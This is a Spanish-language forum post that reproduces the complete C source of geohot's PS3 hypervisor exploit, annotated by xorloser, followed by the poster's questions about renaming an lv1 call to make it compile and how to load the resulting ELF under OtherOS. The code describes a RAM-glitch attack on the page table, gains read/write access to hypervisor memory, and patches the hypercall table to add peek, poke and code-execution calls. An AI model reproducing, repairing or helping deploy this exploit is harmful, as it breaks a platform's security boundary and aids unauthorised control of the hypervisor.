Bueno vamos manos a la obra aqui esta el contenido completo del exploit.c:
// PS3 exploit code
// c2010 geohot
// I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY
//
// Modified by xorloser in an attempt to make it more understandable.
//
// Exploit Explanation
//
// In order to understand how this exploit works, you need to understand
// how the mapping of PS3 memory is performed. I give a brief description
// below that should suffice for understanding how the exploit works.
// For a more in-depth understanding please refer to the documentation:
// http://download.boulder.ibm.com/ibmdl/pub/software/dw/power/pa-ppcbook3.zip
// https://www-01.ibm.com/chips/techlib/techlib.nsf/techdocs/1741C509C5F64B3300257460006FD68D/$file/CellBE_PXCell_Handbook_v1.11_12May08_pub.pdf
//
// When programs access memory they see an address range from 0 to the
// upper address limit. For simplicity we will assume an upper address limit
// of 0xFFFFFFFF giving a program address range of 0x00000000 - 0xFFFFFFFF.
// The PS3 itself has 256MB of RAM which gives a RAM address range of
// 0x00000000 - 0x10000000. Memory mapping is employed to allow multiple
// programs to run at the same time with each program thinking it has access
// to the full address range which is larger than the available
// amount of RAM.
//
// The programs address space is known as the Effective Address (EA) space.
// The actual RAM address range is known as the Real Address (RA) space.
// The intermediate mapping between EA space and RA space is known as the
// Virtual Address (VA) space.
//
// In order to map a programs memory address (EA) to a RAM address (RA) the
// Segment Lookaside Buffer (SLB) first does the EA -> VA mapping. Then the
// Hashed Page Table (HTAB) does the VA -> RA mapping. Therefore the mapping
// from EA to RA is a two step process: EA -> VA -> RA
//
// SLB related code is in PS3SLB.h
// HTAB related code is in PS3HTAB.h
//
//
// Just to make things more complicated, on the PS3 there are also LPAR Addresses.
// These are equivalent of a Real Address for a particular LPAR (Logical Partition).
// These addresses are usually used with the lv1 syscalls.
//
// Also Real Addresses are sometimes referred to as Physical Addresses (PA) since they
// address the actual physical RAM hardware.
//
// xorloser - February 2010
// www.xorloser.com
//
/*#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/fcntl.h>
#include <asm/abs_addr.h>
#include <asm/mmu.h>
#include <asm/lmb.h>
#include <asm/io.h>
#include <asm/tlb.h>
#include <asm/lv1call.h>
#include <linux/kernel.h>
#include <linux/threads.h>
#include <linux/pci.h>
#include <linux/sysdev.h>
#include <asm/lv1call.h>
#include <asm/pci-bridge.h>
#include <asm/uaccess.h>
#include <asm/hw_irq.h>
#include <linux/proc_fs.h>
#include <linux/smp_lock.h>
#include <linux/irq.h>*/
#include <stdio.h>
#include <string.h>
#include <ps3hv.h>
#include <ps3mmu.h>
#include "PS3SLB.h"
#include "PS3HTAB.h"
// Special hardcoded addresses used for memory manipulation
#define SPECIAL_EA 0x5000000000000000
#define SPECIAL_VA 0x0000FFFF00000000
#define SPECIAL_VA_MASK 0xFFFFFFFF00000000
// Special flags used for memory manipulation
#define SPECIAL_VA_FLAGS_VALID (HTABE_VALID)
#define SPECIAL_VA_FLAGS_VALID_LARGE (HTABE_VALID|HTABE_LARGEPAGE)
#define SPECIAL_RA_FLAGS_READONLY (HTABE_ACCESSED|HTABE_DIRTY|HTABE_COHERENT|HTABE_NOEXEC|HTABE_READONLY)
#define SPECIAL_RA_FLAGS_READWRITE (HTABE_ACCESSED|HTABE_DIRTY|HTABE_COHERENT|HTABE_NOEXEC|HTABE_READWRITE)
// Macro for creating a special effective address from a base address
// and an index into the HTAB.
#define CALC_SPECIAL_EA(addr, htab_idx) \
(uint64_t)((addr) | (((uint64_t)(htab_idx)/8)^((HTAB[(uint64_t)(htab_idx)].AVPN>>5) & 0x1FFF)) << ((HTAB[(uint64_t)(htab_idx)].L)?EXP_16MB:EXP_4KB))
// Macro for creating a special virtual address from a base address
// and an index into the HTAB.
#define CALC_SPECIAL_VA(addr, idx) \
((uint64_t)(addr) | (((uint64_t)(htab_idx))<<16) | ((((((uint64_t)htab_idx)>>3) ^ (((uint64_t)htab_idx)<<4)) & 0x1800) >> 4))
#define PPE_ID0 0
#define PPE_ID1 1
#define PPE_CPU_ID0 0
#define PPE_CPU_ID1 1
/*static uint64_t gs_irq0, gs_irq1, gs_flags = 0;
static spinlock_t gs_mr_lock;
#define KERNEL_CHILL_BEGIN() \
{ \
gs_irq0 = __pa(get_irq_chip_data(20)); \
gs_irq1 = __pa(get_irq_chip_data(16)); \
gs_mr_lock = SPIN_LOCK_UNLOCKED; \
gs_flags = 0; \
spin_lock_irqsave(&gs_mr_lock, gs_flags); \
preempt_disable(); \
lock_kernel(); \
hard_irq_disable(); \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID0, 0); \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID1, 0); \
}
#define KERNEL_CHILL_END() \
{ \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID1, gs_irq1); \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID0, gs_irq0); \
__hard_irq_enable(); \
unlock_kernel(); \
preempt_enable(); \
spin_unlock_irqrestore(&gs_mr_lock, gs_flags); \
}
*/
#define KERNEL_CHILL_BEGIN() {}
#define KERNEL_CHILL_END() {}
// Clears Instruction Cache
#define CLEAR_ICACHE() \
{ \
uint64_t lpar_addr_tmp, muid; \
lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr_tmp, &muid); \
lv1_release_memory(lpar_addr_tmp); \
}
// Clears Data Cache
#define CACHE_LENGTH 0x100000
static volatile uint64_t cache_clear[CACHE_LENGTH / 8];
#define CLEAR_DCACHE() \
{ \
memset((void*)cache_clear, 0xAA, CACHE_LENGTH); \
}
// Search the HTAB contents for a special entry that is still valid
//
// returns: index of entry if found
// < 0 if not found
int get_dangling_htab_entry_idx(void)
{
int htab_idx;
// Check HTAB contents for a "dangling" entry
for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
{
if( HTABE_IS_VALID(HTAB[htab_idx]) &&
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
return htab_idx;
}
}
return -1;
}
int is_exploit_stage1_done(void)
{
int idx = get_dangling_htab_entry_idx();
if(idx < 0)
return 0;
return 1;
}
int is_exploit_stage2_done(void)
{
// This is the HTAB Entry that the exploit inserts.
// It gives read/write access to real memory address 0 via SPECIAL_VA.
// 0x0000FFFF_00000005
// 0x00000000_00000196
HTABE htabe;
htabe_set(&htabe,
SPECIAL_VA, SPECIAL_VA_FLAGS_VALID_LARGE,
0, SPECIAL_RA_FLAGS_READWRITE);
// Check if the exploit entry is already inserted in the HTAB
if( HTAB[1].Num[0] == htabe.Num[0] &&
HTAB[1].Num[1] == htabe.Num[1] )
{
// exploit is already installed
return 1;
}
else
{
// exploit is not yet fully installed
return 0;
}
}
int is_exploit_stage3_done(void)
{
uint64_t ret, addr;
addr = 0x2401FC00000;
asm volatile( "mr 3, %1\n"
"li 11, 32\n"
"sc 1\n"
"mr %0, 3\n"
: "=r" (ret)
: "r" (addr)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
return (ret != 0xFFFFFFEC) ? 1 : 0;
}
// Perform first stage of exploit.
//
// This allocates a block of memory and then points every
// unused HTAB Entry at this memory block.
//
// It then frees the block of memory at which time the system
// is responsible for invalidating all HTAB entries that pointed
// to the block of memory.
//
// The trick is to "glitch" the RAM with some external hardware during
// the time the system is invalidating all HTAB entries in order to
// stop the invalidation of a HTAB Entry from occuring.
//
// If you are lucky and this occurs then you have a "dangling HTAB
// Entry" that will be utilised in the second stage of the exploit.
//
// args: current exploit try number
// total nuber of exploit tries
// returns: 1 if exploited successfully
// 0 if not exploited yet
int exploit_first_stage(int num, int total)
{
int htab_idx;
uint64_t lpar_addr, muid, status=0;
volatile register int reg_cnt;
// If already exploited, then return now
if( is_exploit_stage1_done() )
return 1;
// Allocate memory block to base the exploit around
if( lv1_allocate_memory(SIZE_1MB, EXP_1MB, 0, 0, &lpar_addr, &muid) )
{
printf("STAGE1: Error allocating memory\n");
return 0;
}
// The button should actually be pressed AFTER the HTAB write code below.
// However the print takes a while to appear on the console, so we set it
// to print ahead of time in the hope that it will appear at the correct time... :P
printf(".\n");
printf("vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv\n");
printf("PRESS THE BUTTON IN THE MIDDLE OF THIS %d/%d\n", num, total);
// Increment through all HTAB Entries looking for entries that are
// unused or previously associated with this exploit.
// Make all these entries point to the newly allocated memory block.
// Start at entry 3 since the first few are used for special things.
for(htab_idx=3; htab_idx<HTAB_COUNT; htab_idx++)
{
if( !HTABE_IS_VALID(HTAB[htab_idx]) ||
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
HTABE htabe;
htabe_set_lpar(&htabe,
CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID,
lpar_addr, SPECIAL_RA_FLAGS_READWRITE);
if( lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]) )
printf("STAGE1: Error writing HTAB entry 0x%X: %016lx %016lx\n", htab_idx, htabe.Num[0], htabe.Num[1]);
}
}
KERNEL_CHILL_BEGIN();
// clear caches
//CLEAR_ICACHE
uint64_t lpar_addr_tmp;
lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr_tmp, &muid);
lv1_release_memory(lpar_addr_tmp);
//CLEAR_DCACHE
//memset((void*)cache_clear, 0xAA, CACHE_LENGTH);
// Delay for a while, then when in the middle of the delay
// release then memory block before finishing the rest of the delay.
// During this time the hardware glitch is done, and so by delaying
// it is hoped that if the glitch misses its target it will not hit
// something else that it should not.
status = 1;
#define RELEASE_MEM_DELAY 0x2000000
for(reg_cnt=0; reg_cnt<RELEASE_MEM_DELAY; reg_cnt++)
{
// This checks if it is halfway through the delay.
if(reg_cnt==(RELEASE_MEM_DELAY/2))
{
// Release memory and clear the data cache to ensure
// all data gets written back to memory.
status = lv1_release_memory(lpar_addr);
//CLEAR_DCACHE
//memset((void*)cache_clear, 0xAA, CACHE_LENGTH);
}
}
KERNEL_CHILL_END();
printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n");
if(status)
printf("STAGE1: Error releasing memory!\n");
// Check if there are any valid htab entries that have been exploited
htab_idx = get_dangling_htab_entry_idx();
if(htab_idx < 0)
{
// Didn't successfully exploit a HTAB Entry
return 0;
}
printf("STAGE1: Successfully glitched HTAB Contents!!!!!\n");
for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
{
if( HTABE_IS_VALID(HTAB[htab_idx]) &&
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
printf("STAGE1: Glitched HTAB: 0x%016lx 0x%016lx\n", HTAB[htab_idx].Num[0], HTAB[htab_idx].Num[1]);
}
}
return 1;
}
// Copy the current HTAB into a new virtual space
//
// args: ID of virtual space to copy to
// lpar address of destination HTAB
// real address of destination HTAB
// lpar address of source HTAB
// real address of source HTAB
void copy_htab_to_new_vas(uint64_t destVasID, uint64_t destHtabLpar, uint64_t destHtabRA,
uint64_t srcHtabLpar, uint64_t srcHtabRA)
{
uint64_t usb1_ra, usb2_ra, usb3_ra, usb4_ra;
uint64_t usb1_lpar, usb2_lpar, usb3_lpar, usb4_lpar;
uint64_t ea, ra, my_lpar;
int htab_idx, slb_idx;
HTABE* dest_htab;
// I don't these hardcoded values are correct for non v2.42 firmwares...
usb1_lpar = 0x4000001d0000; usb1_ra = htab_ra_from_lpar(usb1_lpar);
usb2_lpar = 0x4000001e0000; usb2_ra = htab_ra_from_lpar(usb2_lpar);
usb3_lpar = 0x4000001f0000; usb3_ra = htab_ra_from_lpar(usb3_lpar);
usb4_lpar = 0x400000200000; usb4_ra = htab_ra_from_lpar(usb4_lpar);
// printf("USB Addresses:\n");
// printf("0x%016lx -> 0x%016lx\n", usb1_lpar, usb1_ra);
// printf("0x%016lx -> 0x%016lx\n", usb2_lpar, usb2_ra);
// printf("0x%016lx -> 0x%016lx\n", usb3_lpar, usb3_ra);
// printf("0x%016lx -> 0x%016lx\n", usb4_lpar, usb4_ra);
// get a readonly pointer to the new HTAB
dest_htab = ps3MmuIoRemap(destHtabLpar, SIZE_1MB);
// Copy the HTAB one entry at a time
// (Skip the first entry as it contains the mapping that allows
// read/write access to the original HTAB contents)
slb_read_all_entries();
for(htab_idx=1; htab_idx<HTAB_COUNT; htab_idx++)
{
// ignore invalid entries
if( !HTABE_IS_VALID(HTAB[htab_idx]) )
continue;
// Find this HTAB Entry in the SLB
ea = 0xFFFFFFFFFFFFFFFF;
for(slb_idx=0; slb_idx<SLB_COUNT; slb_idx++)
{
if( SLBE_IS_VALID(SLB[slb_idx]) &&
SLBE_GET_VA(SLB[slb_idx]) == (HTABE_GET_VA(HTAB[htab_idx])&0xFFFFFFFFFFFFF000) )
{
ea = SLBE_GET_EA(SLB[slb_idx]);
}
}
// If HTAB Entry isn't in SLB, then ignore it.
// Or if it is our special entry then also ignore it.
if( ea == 0xFFFFFFFFFFFFFFFF ||
ea == SPECIAL_EA )
continue;
// calc lpar from ra
if( HTAB[htab_idx].L )
ra = HTAB[htab_idx].Num[1] & 0xFFFFFFFFFFFFF000;
else
ra = HTABE_GET_RA(HTAB[htab_idx]);
my_lpar = 0xFFFFFFFFFFFFFFFF;
if( ra >= 0x01000000 && ra < 0x10000000)
{
if( ra >= 0x08000000 ) {
my_lpar = (ra-0x08000000);
} else {
my_lpar = 0x6c0058000000 | (ra-0x01000000);
}
}
else if( (ra&0xFFFFFFFFFFF00000) == srcHtabRA )
my_lpar = srcHtabLpar + (ra-srcHtabRA);
else if( (ra&0xFFFFFFFFFFF00000) == destHtabRA )
my_lpar = destHtabLpar + (ra-destHtabRA);
else if( ra == usb1_ra )
my_lpar = usb1_lpar;
else if( ra == usb2_ra )
my_lpar = usb2_lpar;
else if( ra == usb3_ra )
my_lpar = usb3_lpar;
else if( ra == usb4_ra )
my_lpar = usb4_lpar;
else if( ra == 0x3e0000 )
my_lpar = 0x4000001a0000;
else if( ra == 0x3e1000 )
my_lpar = 0x4000001a1000;
else if( ra == 0x8d3000 )
my_lpar = 0x30000000e000;
else if( ra == 0x8dd000 )
my_lpar = 0x300000010000;
else if( ra == 0x202000 )
my_lpar = 0x300000012000;
else if( ra == 0x203000 )
my_lpar = 0x300000014000;
else if( ra == 0x3ac000 )
my_lpar = 0x300000016000;
else if( ra == 0x3ad000 )
my_lpar = 0x300000018000;
else if( ra >= 0x28000080000 && ra < 0x28000088000 )
my_lpar = 0x3c0000108000 + (ra-0x28000080000);
// If could not get lpar address then ignore this entry
if(my_lpar == 0xFFFFFFFFFFFFFFFF)
{
//printf("%4x: %lx %lx ... %lx -> %lx\n", i, g1, g2, va, ra);
continue;
}
// Add HTAB Entry to new HTAB
if( lv1_write_htab_entry(destVasID, htab_idx, HTAB[htab_idx].Num[0], my_lpar|(HTAB[htab_idx].Num[1]&0xFFF)) )
printf("Write HTAB failed: %lx %lx\n", HTAB[htab_idx].Num[0], my_lpar|(HTAB[htab_idx].Num[1]&0xFFF));
// Verify that the HTAB Entry was added correctly
if( dest_htab[htab_idx].Num[0] != HTAB[htab_idx].Num[0] ||
dest_htab[htab_idx].Num[1] != HTAB[htab_idx].Num[1] )
{
printf("Verify HTAB failed on index 0x%x\n", htab_idx);
printf("%lx %lx --> %lx %lx\n",
HTAB[htab_idx].Num[0], HTAB[htab_idx].Num[1],
dest_htab[htab_idx].Num[0], dest_htab[htab_idx].Num[1]);
}
}
}
// Perform the second stage of the exploit.
//
// This creates a new virtual address space which has its own HTAB.
// It then checks if the address of this new HTAB overlaps the
// memory pointed to by the "dangling HTAB Entry". If it does not it
// frees the virtual space and then tries again until it does overlap.
//
int exploit_second_stage(void)
{
int htab_idx;
uint64_t htab_size, num_page_sizes, page_sizes, act_htab_size;
uint64_t new_vas_id=0, new_htab_lpar_addr=0, new_htab_real_addr;
uint64_t old_vas_id=0, old_htab_lpar_addr=0, old_htab_real_addr;
HTABE* new_htab_rw;
HTABE* old_htab_rw;
uint64_t status, result;
result = 0;
if( is_exploit_stage2_done() )
return 1;
if( !is_exploit_stage1_done() )
{
printf("STAGE2: Error: Exploited HTAB Entry not present\n");
return 0;
}
// Create a new virtual address space.
// The PS3 supports two large page sizes, so we specify 16MB and 1MB sized pages.
htab_size = EXP_1MB;
num_page_sizes = 2;
page_sizes = PAGE_SIZES(EXP_16MB, EXP_1MB);
new_vas_id = 0;
if( lv1_construct_virtual_address_space(htab_size, num_page_sizes, page_sizes,
&new_vas_id, &act_htab_size) )
{
printf("STAGE2: Error creating new virtual space\n");
return 0;
}
if( new_vas_id == 0 )
{
printf("STAGE2: Error invalid VAS ID when creating new virtual space\n");
return 0;
}
// Get the lpar and real addresses of the new HTAB
lv1_map_htab(new_vas_id, &new_htab_lpar_addr);
new_htab_real_addr = htab_ra_from_lpar(new_htab_lpar_addr);
// Get the lpar and real addresses of the old HTAB
lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id);
lv1_map_htab(old_vas_id, &old_htab_lpar_addr);
old_htab_real_addr = htab_ra_from_lpar(old_htab_lpar_addr);
// Get the index of the exploited HTAB Entry
// Then check if the exploited HTAB Entry overlaps with the new HTAB
htab_idx = get_dangling_htab_entry_idx();
if( htab_idx < 0 )
{
printf("STAGE2: Error exploit HTAB Entry not found\n");
goto end;
}
if( new_htab_real_addr != HTABE_GET_RA(HTAB[htab_idx]) )
{
printf("STAGE2: Exploit HTAB Entry does not overlap new segment: 0x%016lx != 0x%016lx\n",
new_htab_real_addr, HTABE_GET_RA(HTAB[htab_idx]));
goto end;
}
else
{
printf("STAGE2: Exploit HTAB Entry overlaps new segment: 0x%016lx == 0x%016lx\n",
new_htab_real_addr, HTABE_GET_RA(HTAB[htab_idx]));
}
// Add SLB mapping to access the memory pointed to by the exploited HTAB Entry
// (This memory points to the new HTAB in the new Virtual Space)
slb_add_segment(SPECIAL_EA, HTABE_GET_VA(HTAB[htab_idx]), SLBE_KP);
// Generate an EA pointer to the memory pointed to be the exploited HTAB Entry
// (This memory points to the new HTAB in the new Virtual Space)
// Since this uses the exploited entry it allows write access to the new HTAB
new_htab_rw = (HTABE*)CALC_SPECIAL_EA(SPECIAL_EA, htab_idx);
// Use the write access we now have to the new HTAB to forcefully add an entry.
// Add an entry to the new HTAB to enable write access to the contents of the
// original HTAB.
htabe_set(new_htab_rw, SPECIAL_VA, SPECIAL_VA_FLAGS_VALID,
old_htab_real_addr, SPECIAL_RA_FLAGS_READWRITE);
// Create a copy of the original HTAB in the new virtual address space
printf("STAGE2: About to copy HTAB contents\n");
copy_htab_to_new_vas(new_vas_id,
new_htab_lpar_addr, new_htab_real_addr,
old_htab_lpar_addr, old_htab_real_addr);
printf("STAGE2: Copied HTAB contents successfully\n");
// Add SLB mapping to access the memory that contains the original HTAB
slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP);
// Switch to the new Virtual Address Space which uses
// the newly created HTAB "copy".
// (This makes it safe to alter the original HTAB contents).
//
// Add entry to the original HTAB to give read/write access memory
// starting at Real Address 0. This is the memory that is usually
// blocked from access and contains the hypervisor.
//
// Switch back to the original Virtual Address Space and the HTAB
// which now contains the new read/write memory entry.
printf("STAGE2: About to add read/write access to HTAB\n");
KERNEL_CHILL_BEGIN();
status = lv1_select_virtual_address_space(new_vas_id);
// Add HTAB mapping to access memory starting at 0
old_htab_rw = (HTABE*)SPECIAL_EA;
htabe_set(&old_htab_rw[1],
SPECIAL_VA, SPECIAL_VA_FLAGS_VALID_LARGE,
0, SPECIAL_RA_FLAGS_READWRITE);
lv1_select_virtual_address_space(old_vas_id);
KERNEL_CHILL_END();
printf("STAGE2: HTAB alteration complete\n");
// Add SLB mapping to access memory starting at 0
slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP|SLBE_L);
// success
result = 1;
end:
if(new_htab_lpar_addr) lv1_unmap_htab(new_htab_lpar_addr);
if(new_vas_id) lv1_destruct_virtual_address_space(new_vas_id);
return result;
}
// By the time this is called the exploit should have already been triggered.
// This then installs the peek and poke syscalls via the exploit.
void install_hypercalls(void)
{
uint64_t lpar_addr, real_addr, muid, invalid_call_addr;
uint64_t* hvc_table_addr;
uint64_t* lpar_addr_exec;
uint32_t* addr32;
uint64_t* addr64;
int offset;
if( is_exploit_stage3_done() )
return;
if( !is_exploit_stage2_done() )
{
printf("STAGE3: Error inserting hypercalls, exploit is not installed\n");
return;
}
// Allocate a new 4kb page to inject some code into.
// It needs to be remapped to set the executable flag for it,
// otherwise the code cannot be executed.
lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid);
real_addr = htab_ra_from_lpar(lpar_addr);
lpar_addr_exec = ps3MmuIoRemap(lpar_addr, SIZE_4KB);
// insert code for the new syscalls we will be adding
// peek syscalls (64, 32, 16, 8 bit)
lpar_addr_exec[0] = 0xE86300004E800020; // ld %r3, 0(%r3) blr
lpar_addr_exec[1] = 0x806300004E800020; // lwz %r3, 0(%r3) blr
lpar_addr_exec[2] = 0xA06300004E800020; // lhz %r3, 0(%r3) blr
lpar_addr_exec[3] = 0x886300004E800020; // lbz %r3, 0(%r3) blr
// peek syscalls (64, 32, 16, 8 bit)
lpar_addr_exec[4] = 0xF88300004E800020; // std %r4, 0(%r3) blr
lpar_addr_exec[5] = 0x908300004E800020; // stw %r4, 0(%r3) blr
lpar_addr_exec[6] = 0xB08300004E800020; // sth %r4, 0(%r3) blr
lpar_addr_exec[7] = 0x988300004E800020; // stb %r4, 0(%r3) blr
// exec syscall code
lpar_addr_exec[ 8] = 0x7C0802A660000000;// mflr %r0 nop
lpar_addr_exec[ 9] = 0xF821FF91F8010080;// stdu %sp, -0x70(%sp) std %r0, 0x80(%sp)
lpar_addr_exec[10] = 0x7D4903A64E800421;// mtctr %r10 bctrl
lpar_addr_exec[11] = 0xE801008038210070;// ld %r0, 0x80(%sp) addi %sp, %sp, 0x70
lpar_addr_exec[12] = 0x7C0803A64E800020;// mtlr %r0 blr
// Add SLB mapping to access memory starting at 0
slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP|SLBE_L);
// This bit was added by xorloser to find the address of the syscall table
// instead of using a version specific harcoded address.
//
// This first looks for the lv1_invalid_hvcall handler function,
// then finds references to this handler which should be entries
// in the syscall table. It then gets the start of this table to
// use as the syscall table address.
printf("STAGE3: Searching for hypercall table...\n");
hvc_table_addr = 0;
for(offset=0; offset<SIZE_4MB - 16; offset+=4)
{
addr32 = (uint32_t*)(SPECIAL_EA + offset);
if( addr32[0] == 0x38600000 &&
addr32[1] == 0x6463ffff &&
addr32[2] == 0x6063ffec &&
addr32[3] == 0x4e800020 )
{
invalid_call_addr = offset;
printf("STAGE3: Found lv1_invalid_hvcall at %lx\n", invalid_call_addr);
for(offset=0; offset<SIZE_4MB - 16; offset+=8)
{
addr64 = (uint64_t*)(SPECIAL_EA + offset);
if( addr64[0] == invalid_call_addr &&
addr64[1] == invalid_call_addr &&
addr64[2] != invalid_call_addr &&
addr64[3] == invalid_call_addr )
{
hvc_table_addr = (uint64_t*)(SPECIAL_EA + offset - (22*8));
break;
}
}
break;
}
}
// Only add new syscalls if the syscall table was found.
if(hvc_table_addr)
{
printf("STAGE3: Found hypercall table at %x\n", (uint32_t)(uint64_t)hvc_table_addr);
printf("STAGE3: Inserting hypercalls\n");
hvc_table_addr[32] = real_addr+0x00; // peek 64bit
hvc_table_addr[33] = real_addr+0x08; // peek 32bit
hvc_table_addr[34] = real_addr+0x10; // peek 16bit
hvc_table_addr[35] = real_addr+0x18; // peek 8bit
hvc_table_addr[36] = real_addr+0x20; // poke 64bit
hvc_table_addr[37] = real_addr+0x28; // poke 32bit
hvc_table_addr[38] = real_addr+0x30; // poke 16bit
hvc_table_addr[39] = real_addr+0x38; // poke 8bit
hvc_table_addr[40] = real_addr+0x40; // exec code
if( is_exploit_stage3_done() )
printf("STAGE3: Successfully inserted hypercalls\n");
else
printf("STAGE3: Error inserting hypercalls\n");
}
else
{
printf("STAGE3: Error searching for hypercall table\n");
}
}
// perform the ps3 exploit
//
// args: number of times to loop waiting for the exploit
void ps3_exploit(int num)
{
int i, htab_idx;
// if 0 times is specified, reset all htab entries
if(num == 0)
{
printf("Resetting PS3Exploit HTAB Entries\n");
for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
{
if( !HTABE_IS_VALID(HTAB[htab_idx]) ||
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
lv1_write_htab_entry(0, htab_idx, 0, 0);
}
}
return;
}
// otherwise attempt the exploit the given amount of times
for(i=0; i<num; i++)
{
if( !exploit_first_stage(i, num) )
continue;
if( !exploit_second_stage() )
continue;
install_hypercalls();
break;
}
}
La linea modificar es esta:
lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id);
y tengo que cambiarlo por esto¿no?
lv1_get_virtual_address_space_id_of_pu(PPE_ID0, &old_vas_id);
¿Creeis que esta bien asi por si pongo _pu ¿no tendre que modificar (PPE_ID0, &old_vas_id); por (PU_ID0, &old_vas_id);?
Por cierto y para los que me preguntan si voy a seguir la respuesta es si ya que el Jailbreak solo permite cargar backups de momento(desconozco si permitiria volver a implementar el otheros)ademas Sony hara todo lo posible para cerrar el Jailbreak(sino tiempo al tiempo).
Edito: acabo de probar a compilar desde el CMD(ejecutando previamente el bat que trae el Toolchain+Ps3dev del Ifcaro),modificando la linea en el archivo exploit.c que me han dicho LuzBellFullHD,Ifcaro y los demas y ahora parece que por fin a compilado correctamente,me ha dado como resultado el generar un archivo elf;bueno ahora la pregunta es como continuo;que hay que implantar este elf en el otheros¿no?
Un saludo.
Un saludo.